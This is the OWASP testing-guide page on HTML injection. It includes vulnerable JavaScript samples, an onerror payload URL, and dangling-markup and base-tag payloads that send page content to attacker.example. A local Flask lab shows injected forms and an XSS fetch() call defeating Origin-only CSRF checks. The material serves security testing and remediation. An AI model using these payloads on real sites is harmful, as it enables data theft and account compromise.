WSTG - Latest

HTML Injection

ID
WSTG-CLNT-03

Summary

HTML injection is a type of injection vulnerability that occurs when a user is able to control an input point and is able to inject arbitrary HTML code into a vulnerable web page. This vulnerability can have many consequences, like disclosure of a user’s session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims.

This vulnerability occurs when user input is not correctly sanitized and the output is not encoded. An injection allows the attacker to send a malicious HTML page to a victim. The targeted browser will not be able to distinguish (trust) legitimate parts from malicious parts of the page, and consequently will parse and execute the whole page in the victim’s context.

There is a wide range of methods and attributes that could be used to render HTML content. If these methods are provided with an untrusted input, then there is a high risk of HTML injection vulnerability. For example, malicious HTML code can be injected via the innerHTML JavaScript method, usually used to render user-inserted HTML code. If strings are not correctly sanitized, the method can enable HTML injection. A JavaScript function that can be used for this purpose is document.write().

The following example shows a snippet of vulnerable code that allows an unvalidated input to be used to create dynamic HTML in the page context:

var userposition=location.href.indexOf("user=");
var user=location.href.substring(userposition+5);
document.getElementById("Welcome").innerHTML=" Hello, "+user;

The following example shows vulnerable code using the document.write() function:

var userposition=location.href.indexOf("user=");
var user=location.href.substring(userposition+5);
document.write("<h1>Hello, " + user +"</h1>");

In both examples, this vulnerability can be exploited with an input such as:

https://vulnerable.site/page.html?user=<img%20src='aaa'%20onerror=alert(1)>

This input will add an image tag to the page that will execute arbitrary JavaScript code inserted by the malicious user in the HTML context.

Test Objectives

  • Identify HTML injection points and assess the severity of the injected content.
  • Assess what injected markup can do when script execution is blocked, for example by a Content Security Policy.
  • Determine whether same-origin HTML Injection can undermine CSRF defenses that rely exclusively on HTTP Origin validation.
  • Assess whether XSS can initiate authenticated state-changing requests without additional interaction after script execution.

How to Test

Consider the following HTML code and script:

<script src="../js/jquery-1.7.1.js"></script>
<script>
function setMessage(){
    var t=location.hash.slice(1);
    $("div[id="+t+"]").text("The DOM is now loaded and can be manipulated.");
}
$(document).ready(setMessage  );
$(window).bind("hashchange",setMessage)
</script>
<body>
    <script src="../js/embed.js"></script>
    <span><a href="#message" > Show Here</a><div id="message">Showing Message1</div></span>
    <span><a href="#message1" > Show Here</a><div id="message1">Showing Message2</div>
    <span><a href="#message2" > Show Here</a><div id="message2">Showing Message3</div>
</body>

It is possible to inject HTML code.

Injection Without Script Execution

An injection point is still worth reporting when scripts can’t run, for example because the application filters event handlers or a Content Security Policy blocks inline script. Plain markup can still leak data or redirect the user.

Dangling Markup

If the injection lands before sensitive content in the same page, such as a CSRF token or personal data, an unclosed attribute can capture that content and send it to another site. Inject a tag whose URL attribute is opened but not closed:

<img src='https://attacker.example/collect?

The browser reads everything up to the next ' in the page as part of the URL, including the markup and values that follow the injection point, and requests it from the attacker’s server. Check the attacker server’s logs for the captured content.

Chromium-based browsers block resource URLs that contain both a raw newline and <, which stops the simplest form of this when the captured text spans several lines. Browsers handle other elements differently, so try several and test in more than one browser:

  • <a href='https://attacker.example/? or <form action='https://attacker.example/?, which need the user to click, or submit;
  • <meta http-equiv="refresh" content='0;url=https://attacker.example/?, which navigates without a click;
  • an injected <form> with no closing tag, placed before a legitimate form, so the legitimate form’s fields and token are submitted to the attacker’s action.

Base Tag Injection

An injected <base href="https://attacker.example/"> changes how every relative URL after it is resolved. Relative script sources, form actions, and links then point to the attacker’s server. With a nonce-based CSP, an existing script tag that carries a valid nonce and a relative src loads from the attacker’s server and runs, which turns markup injection into script execution. Check whether the page loads scripts or submits forms with relative URLs after the injection point, and whether the CSP sets base-uri.

Same-Origin HTML Injection and Origin-Based CSRF Defenses

HTML Injection and Cross-Site Scripting (XSS) can undermine Cross-Site Request Forgery (CSRF) defenses that rely exclusively on the HTTP Origin header. Although Origin validation protects against many conventional cross-origin requests, it cannot distinguish legitimate application content from attacker-controlled content rendered within the same trusted origin.

If an attacker can inject a functional HTML form into a trusted application page, the browser may submit that form with a legitimate, trusted Origin header. If JavaScript execution is also possible, XSS may initiate authenticated state-changing requests automatically after the script runs. Neither scenario requires the attacker to spoof an HTTP header.

Example: Origin-Based CSRF Protection

Consider an authenticated Flask application hosted at http://localhost:5000. The application validates the Origin header on POST requests:

from flask import request, abort

TRUSTED_ORIGIN = "http://localhost:5000"

@app.before_request
def csrf_origin_protection():
    if request.method == "POST":
        origin = request.headers.get("Origin")
        if origin != TRUSTED_ORIGIN:
            abort(403, description="Invalid Origin")

For the following tests, the application has a cookie-authenticated POST /alterar-nome endpoint that changes the current user’s profile name. No additional CSRF token or reauthentication is required. The examples use a local laboratory and an authorized test account. The HTTP requests shown below are illustrative; session=TEST_SESSION_VALUE represents a valid test-session cookie.

Test 1: Cross-Origin Form Submission

First, host the following form at http://localhost:8000:

<form action="http://localhost:5000/alterar-nome" method="POST">
  <input type="hidden" name="nome" value="CROSS-ORIGIN-TEST">
  <button type="submit">Update Profile</button>
</form>

When the form is submitted, the browser sends a request with an external origin:

POST /alterar-nome HTTP/1.1
Host: localhost:5000
Origin: http://localhost:8000
Cookie: session=TEST_SESSION_VALUE
Content-Type: application/x-www-form-urlencoded

nome=CROSS-ORIGIN-TEST

The middleware rejects the request with HTTP 403 Forbidden because the Origin does not match the trusted application origin.

Test 2: Same-Origin HTML Injection

Next, assume an HTML Injection vulnerability allows an attacker-controlled form to be rendered in a page served from http://localhost:5000:

<form action="http://localhost:5000/alterar-nome" method="POST">
  <input type="hidden" name="nome" value="HTML-POC-SUCCESS">
  <button type="submit">Update Profile</button>
</form>

After the authenticated user clicks the injected button, the browser submits a request from the trusted origin:

POST /alterar-nome HTTP/1.1
Host: localhost:5000
Origin: http://localhost:5000
Cookie: session=TEST_SESSION_VALUE
Content-Type: application/x-www-form-urlencoded

nome=HTML-POC-SUCCESS

The Origin matches the expected value, so the middleware accepts the request and the profile name is changed.

This behavior was reproduced in a local Flask laboratory. It did not require JavaScript execution, session cookie theft, or Origin header spoofing. However, this HTML-only example required the user to submit the injected form.

Test 3: XSS and Automatic Authenticated State Changes

If attacker-controlled JavaScript executes within the trusted origin, XSS can initiate the same authenticated operation automatically, without an additional form click:

fetch("/alterar-nome", {
  method: "POST",
  credentials: "same-origin",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  body: new URLSearchParams({
    nome: "XSS-POC-SUCCESS"
  })
});

For this same-origin POST request, the browser sends Origin: http://localhost:5000, which matches the application’s trusted origin. Eligible authentication cookies accompany the request, and the Origin-only CSRF check accepts it.

In the local laboratory, the XSS-initiated request successfully changed the authenticated test user’s profile name without any additional click or form submission after JavaScript execution.

This behavior requires no further user interaction once the injected script executes. However, this does not necessarily make the entire attack zero-click. Reflected XSS may require a victim to open a crafted link; stored XSS may execute when the affected page loads; and DOM-based XSS depends on its triggering conditions.

Experimental Results

Test Additional interaction Observed result
External-origin HTML form Submit form HTTP 403 Forbidden
Same-origin HTML Injection Submit injected form Authenticated profile change
Same-origin XSS None after script execution Automatic authenticated profile change

These findings demonstrate the limitation of the specific Origin-only defense used in the laboratory. Other applications may enforce independent CSRF tokens, reauthentication, or additional checks that prevent the state change.

How to Test

  1. Identify an HTML Injection point that allows functional forms, or an XSS vulnerability executing within the application’s trusted origin.
  2. Identify an authenticated state-changing endpoint and determine how it validates CSRF requests.
  3. Test an equivalent request from an external origin and record whether it is rejected.
  4. Render a test form through the HTML Injection point, then submit it using an authorized authenticated account.
  5. Inspect the browser-generated Origin header and verify whether the intended non-destructive state change succeeds.
  6. If XSS is present, determine whether the equivalent request can be initiated automatically after JavaScript execution.
  7. Check for independent security controls and assess sensitive account functionality separately.

Potential Impact: Account Takeover (HTMLi2ATO)

HTML Injection can lead to Account Takeover (ATO) if an injected form changes security-sensitive account settings, such as a registered email address, recovery method, or authentication credentials, and the application does not require effective additional verification. In such a case, user interaction with the injected form may enable persistent account compromise. This attack chain may be described as HTML Injection to Account Takeover (HTMLi2ATO), although HTMLi2ATO is not a standardized OWASP or CWE classification.

XSS may initiate equivalent authenticated requests automatically after script execution and could also result in ATO when the affected account operations permit it.

The HttpOnly attribute does not prevent these requests: it restricts direct JavaScript access to protected cookies, but the browser still sends eligible cookies with authenticated requests. This is not an HttpOnly bypass.

The laboratory demonstrated authenticated profile changes through both HTML Injection and XSS. Account Takeover was not demonstrated and depends on the availability of exploitable account-management operations. ATO must be validated against an operation that actually enables account compromise.

Security Considerations

Although Origin validation may appear sufficient against conventional cross-origin CSRF attacks, an HTML Injection vulnerability within the trusted origin can allow attacker-controlled forms to pass that check and, depending on sensitive account functionality, potentially lead to HTMLi2ATO. XSS can also automate such operations after JavaScript execution. Origin validation alone cannot establish whether same-origin content or requests are trustworthy.

Remediation

Encode user input for the HTML context it is written into, so that it can’t open new tags or attributes. Set base-uri 'none' or 'self' and a restrictive form-action in the Content Security Policy, and keep sensitive values such as CSRF tokens out of pages that also reflect user input where possible.

References